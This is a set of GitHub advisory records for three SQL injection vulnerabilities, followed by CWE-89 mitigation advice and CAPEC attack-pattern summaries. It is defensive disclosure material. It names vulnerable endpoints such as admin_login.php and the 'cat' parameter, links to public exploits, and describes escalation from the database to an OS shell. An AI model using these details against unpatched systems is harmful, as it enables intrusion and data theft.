GHSA-3H28-663G-H6CX
Vulnerability from github – Published: 2025-03-17 21:30 – Updated: 2025-03-17 21:30A vulnerability classified as critical was found in code-projects Blood Bank Management System 1.0. This vulnerability affects unknown code of the file /admin/admin_login.php of the component Admin Login Page. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-2391"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-17T20:15:14Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in code-projects Blood Bank Management System 1.0. This vulnerability affects unknown code of the file /admin/admin_login.php of the component Admin Login Page. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-3h28-663g-h6cx",
"modified": "2025-03-17T21:30:35Z",
"published": "2025-03-17T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2391"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://github.com/intercpt/XSS1/blob/main/SQL10.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.299890"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.299890"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.516910"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3H37-CC2V-WM7X
Vulnerability from github – Published: 2025-05-02 09:30 – Updated: 2026-06-06 06:30Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mydata Informatics Ticket Sales Automation allows Blind SQL Injection.This issue affects Ticket Sales Automation: before 03.04.2025 (DD.MM.YYYY).
{
"affected": [],
"aliases": [
"CVE-2025-2812"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-02T09:15:20Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Mydata Informatics Ticket Sales Automation allows Blind SQL Injection.This issue affects Ticket Sales Automation: before 03.04.2025 (DD.MM.YYYY).",
"id": "GHSA-3h37-cc2v-wm7x",
"modified": "2026-06-06T06:30:27Z",
"published": "2025-05-02T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2812"
},
{
"type": "WEB",
"url": "https://github.com/sahici/CVE-2025-2812"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0099"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3H3G-F3XH-FX6X
Vulnerability from github – Published: 2022-05-01 23:50 – Updated: 2022-05-01 23:50SQL injection vulnerability in products.php in the Mytipper ZoGo-shop plugin 1.15.5 and 1.16 Beta 13 for e107 allows remote attackers to execute arbitrary SQL commands via the cat parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2447"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-27T14:32:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in products.php in the Mytipper ZoGo-shop plugin 1.15.5 and 1.16 Beta 13 for e107 allows remote attackers to execute arbitrary SQL commands via the cat parameter.",
"id": "GHSA-3h3g-f3xh-fx6x",
"modified": "2022-05-01T23:50:02Z",
"published": "2022-05-01T23:50:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2447"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42384"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5605"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30232"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29185"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.